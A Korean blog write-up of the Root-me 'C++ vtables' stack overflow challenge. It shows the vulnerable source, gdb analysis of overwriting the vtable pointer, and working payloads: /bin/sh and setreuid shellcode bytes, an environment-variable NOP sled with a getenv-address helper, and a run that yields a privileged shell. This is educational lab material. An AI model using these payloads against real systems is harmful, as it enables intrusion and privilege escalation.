[App-system] ELF x86 - Stack buffer overflow - C++ vtables

2022. 10. 21. 17:08·Wargame/Root me
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>
    #include <stdio.h>
     
    class formatter
    {
    public :
        virtual int  RTTI(  )  =0 ;
        virtual void  displayName(  )  =0 ;
        virtual void format( const char * ptr )  =0 ;
     
    };
     
    class UpperFormatter: public formatter
    {
    public :
     
     
        virtual int  RTTI(  )  { return 1; };
     
        virtual void  displayName(  )  { printf ("UpperFormatter"); }
     
        virtual void format( const char * ptr )
        {
            const char * cptr = ptr;
            while (*cptr)
            {
                printf("%c", toupper(*cptr));
                cptr++;
            }
        }
    };
     
     
    class LowerFormatter: public formatter
    {
    public :
        virtual int  RTTI(  )  { return 2; };
     
        virtual void  displayName(  )  { printf ("UpperFormatter"); }
     
        virtual void format( const char * ptr )
        {
            const char * cptr = ptr;
            while (*cptr)
            {
                printf("%c", tolower(*cptr));
                cptr++;
            }
        }
    };
    #define SIZE (80)
    class MyStringFormatter
    {
    public:
        MyStringFormatter( formatter * pFormatter  ):m_pFormatter(pFormatter),m_Id(1) {};
        void GetInput(int padding )  {
            memset(str ,' ' , SIZE  ); fgets(str+padding,SIZE,stdin); }
        void display() const{m_pFormatter->format(str) ;}
    protected:
        char str[SIZE];
        formatter * m_pFormatter ;
        int m_Id;
    };
     
     
     
     
    int main(int argc, char* argv[])
    {
        printf("Padding : 1-5\r\n");
        char size[4];
        int padding  = atoi(fgets(size,4,stdin));
        if (padding <0 || padding >5)
        {
            printf ("Padding error\r\n");
            exit(0);
        }
        printf("\r\n\r\n\tConvert in : \r\n");
        printf("\t  1: uppercase  \r\n");
        printf("\t  2: lowercase  \r\n");
        int choice  = atoi(fgets(size,4,stdin));
     
        formatter * pformatter = NULL;
        switch (choice)
        {
        case 1:
            pformatter =  new UpperFormatter ;
     
            break;
        case 2:
            pformatter =  new LowerFormatter ;
            break;
        }
        if (pformatter == NULL)
        {
            printf ("Bad choice!\r\n");
            exit(0);
        }
        MyStringFormatter formatter(pformatter  );
        printf("String to convert: \r\n");
        formatter.GetInput(padding);
        formatter.display();
     
        return 0;
     
    }

2.2. 분석

아오... c++ 적응 안되네....

main 함수에서 padding 값을 입력받은 다음

1. uppercase, 2. lowercase의 메뉴를 선택하고 각 메뉴에 따라 UpperFormatter, LowerFormatter의 값을 pformatter class에 삽입한다.

이후 pformatter class를 MyStringFormatter 함수의 인자로 쓰며 class를 선언하고,

formatter.GetInput과 display를 호출한다.

GetInput에서는 str 변수에 80만큼 값을 받아들이는데, 저장되는 위치가 str + padding이다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

GetInput 시 str + padding 위치에 값을 받아들이기에 overflow가 발생한다.

 

3.2. 공격 준비

vtable이라고 부르는데 구조체이며, 각 구조체는 담고있는 자료의 크기가 정해져있기에 overflow 발생 시 구조체 내의 다른 값들을 침범할 수 있다.

본 문제에서는 취약점에서 설명한 것과 같이 padding으로 인해 formattter 구조체 내의 format의 값을 변조할 수 있게 되기에 임의의 주소를 호출할 수 있다.

GetInput에서 80 bytes의 값을 받아들이기에 shellcode를 삽입할 크기도 충분하다.

문제는 각 주소를 구하는 방법인데... 아래와 같이 시도해 보았다.

 

gef➤  r <<< $(python -c 'print "5\n" + "1\n" + "A"*80')
Starting program: /challenge/app-systeme/ch20/ch20 <<< $(python -c 'print "5\n" + "1\n" + "A"*80')
Padding : 1-5


        Convert in : 
          1: uppercase  
          2: lowercase  
String to convert: 

Program received signal SIGSEGV, Segmentation fault.
...
$eax   : 0x41414141 ("AAAA"?)
...
 →  0x8048b06 <MyStringFormatter::display()+0> mov    (%eax), %eax
...
gef➤

 

예상대로 seg.fault가 발생했다.

해당 값을 어디서 가져오는지 봤더니 예상대로 입력된 값의 가장 마지막 부분이다.

gef➤  x/wx $ebp+8
0xbffffa90:     0xbffffac0
gef➤  x/50x 0xbffffac0
0xbffffac0:     0x20202020      0x41414120      0x41414141      0x41414141
0xbffffad0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffae0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb10:     0x41414141      0x00000000      0xbf000a31      0xb3336900
0xbffffb20:     0x00000001      0xbffffbe4      0xbffffbec      0xbffffb50
0xbffffb30:     0x00000000      0xb7e3d000      0x00000000      0xb7c7dfa1
0xbffffb40:     0xb7e3d000      0xb7e3d000      0x00000000      0xb7c7dfa1
0xbffffb50:     0x00000001      0xbffffbe4      0xbffffbec      0xbffffb74
0xbffffb60:     0x00000001      0x00000000      0xb7e3d000      0xb7fe771a
0xbffffb70:     0xb7fff000      0x00000000      0xb7e3d000      0x00000000
0xbffffb80:     0x00000000      0x2ed6e269
gef➤  x/x 0xbffffac0+0x50
0xbffffb10:     0x41414141

seg.fault 지점부터의 어셈블러 코드를 보니 아래와 같았고

gef➤  x/10i 0x8048b06
=> 0x8048b06 <_ZNK17MyStringFormatter7displayEv+28>:    mov    (%eax),%eax
   0x8048b08 <_ZNK17MyStringFormatter7displayEv+30>:    add    $0x8,%eax
   0x8048b0b <_ZNK17MyStringFormatter7displayEv+33>:    mov    (%eax),%eax
   0x8048b0d <_ZNK17MyStringFormatter7displayEv+35>:    mov    0x8(%ebp),%ecx
   0x8048b10 <_ZNK17MyStringFormatter7displayEv+38>:    sub    $0x8,%esp
   0x8048b13 <_ZNK17MyStringFormatter7displayEv+41>:    push   %ecx
   0x8048b14 <_ZNK17MyStringFormatter7displayEv+42>:    push   %edx
   0x8048b15 <_ZNK17MyStringFormatter7displayEv+43>:    call   *%eax

결국 *eax를 call 하는데, 이 값은 최초 eax의 값에 달려있다.

이를 페이로드와 함께 표현하면 아래와 같다.

5 (padding)
+ 1 (menu)
+ add 2 (add 3 값의 위치)
+ add 3 (shellcode의 위치 - 8)
+ shellcode
+ add 1 (add 2 값의 위치)

이를 적절히 수정해서 원하는 위치로 이동하게 만들려면 아래와 같아진다.

gef➤  r <<< $(python -c 'print "5\n" + "1\n" + "\xc1\xfa\xff\xbf" + "\xcd\xfa\xff\xbf" + "A"*(80-5-4-4-24) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xc5\xfa\xff\xbf"')
Starting program: /challenge/app-systeme/ch20/ch20 <<< $(python -c 'print "5\n" + "1\n" + "\xc1\xfa\xff\xbf" + "\xcd\xfa\xff\xbf" + "A"*(80-5-4-4-24) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xc5\xfa\xff\xbf"')
Padding : 1-5


        Convert in : 
          1: uppercase  
          2: lowercase  
String to convert: 
process 4328 is executing new program: /bin/dash
[Inferior 1 (process 4328) exited normally]

 

4. exploit

gef에서는 쉘이 잘 실행되었는데 gdb에 따른 offset 문제로 실제로는 성공하지 못한다.

app-systeme-ch20@challenge02:~$ (python -c 'print "5\n" + "1\n" + "\xc1\xfa\xff\xbf" + "\xcd\xfa\xff\xbf" + "A"*(80-5-4-4-24) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xc5\xfa\xff\xbf"';cat) | ./ch20
Padding : 1-5


        Convert in : 
          1: uppercase  
          2: lowercase  
String to convert: 
id
Segmentation fault

사실 제일 짜증나는 부분인데...

별 수 있나...

노가다 할 수 밖에...


... 한참 노가다 했는데 계속 안맞음 -_-

 

필살기 쓰자 그냥.

환경 변수에 shellcode 대충 등록.

app-systeme-ch20@challenge02:~$ export shellcode=`python -c 'print "\x90"*(100) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"+ "\x90"*20'`

 

아래 파일을 코딩 후

#include<stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//gcc -o getenv getenv.c
int main(int argc, char *argv[]) {
   char *ptr;

   if(argc < 3) {
      fprintf(stderr, "Usage: %s <environment var> <target program name>\n", argv[0]);
      exit(1);
   }

   /* Get env var location. */
   ptr = getenv(argv[1]);

   /* Adjust for program name. */
   ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
   printf("%s will be at %p\n", argv[1], ptr);
}

환경변수 주소 확인.

app-systeme-ch20@challenge02:~$ /tmp/wyv3rn/a shellcode ./ch20shellcode will be at 0xbffffdcf

 

이를 토대로 위에서 작성한 페이로드와 같이 적절한 위치에 주소와 함께 환경변수 재 등록

app-systeme-ch20@challenge02:~$ export shellcode=`python -c 'print "\xcf\xfd\xff\xbf"*2 + "\xef\xfd\xff\xbf"*4 + "\x90"*(100-16-8) + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"+ "\x90"*20'`

 

환경변수 주소로 return.

app-systeme-ch20@challenge02:~$ (python -c 'print "5\n1\n" + "AAA" + "\xcf\xfd\xff\xbf"*19';cat) | ./ch20Padding : 1-5


        Convert in : 
          1: uppercase  
          2: lowercase  
String to convert: 
id
uid=1220(app-systeme-ch20-cracked) gid=1120(app-systeme-ch20) groups=1120(app-systeme-ch20),100(users)
cat .passwd
#----------플래그는 삭제

주소가 계속 안맞아서 1차 멘붕.

getuid 없는 shellcode 쓰다가 권한없는 shell만 따져서 2차 멘붕.

멍충이...

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Root me' 카테고리의 다른 글

[App system] ELF x86 - Stack buffer overflow basic 5  (0) 2022.10.25
[App-system] ELF x86 - Stack buffer and integer overflow  (0) 2022.10.22
[Cracking] ELF C++ - 0 protection  (0) 2022.07.15
[Cracking] PE x86 - 0 protection  (0) 2022.07.15
[Cracking] ELF x86 - Basic  (0) 2022.07.15
'Wargame/Root me' 카테고리의 다른 글
  • [App system] ELF x86 - Stack buffer overflow basic 5
  • [App-system] ELF x86 - Stack buffer and integer overflow
  • [Cracking] ELF C++ - 0 protection
  • [Cracking] PE x86 - 0 protection
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    CANARY
    root
    hackerschool
    32bit
    pwnable.kr
    Format String Bug
    BOF
    vtable
    FSB
    64bit
    x86
    exploit education
    _IO_FILE
    dreamhack
    la ctf
    ROOT ME
    docker
    lob
    RTL
    Buffer Overflow
    cryptohack
    tcache
    Me
    heap
    x64
    root-me
    pwntools
    phoenix
    rop
    libc
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-system] ELF x86 - Stack buffer overflow - C++ vtables
상단으로

티스토리툴바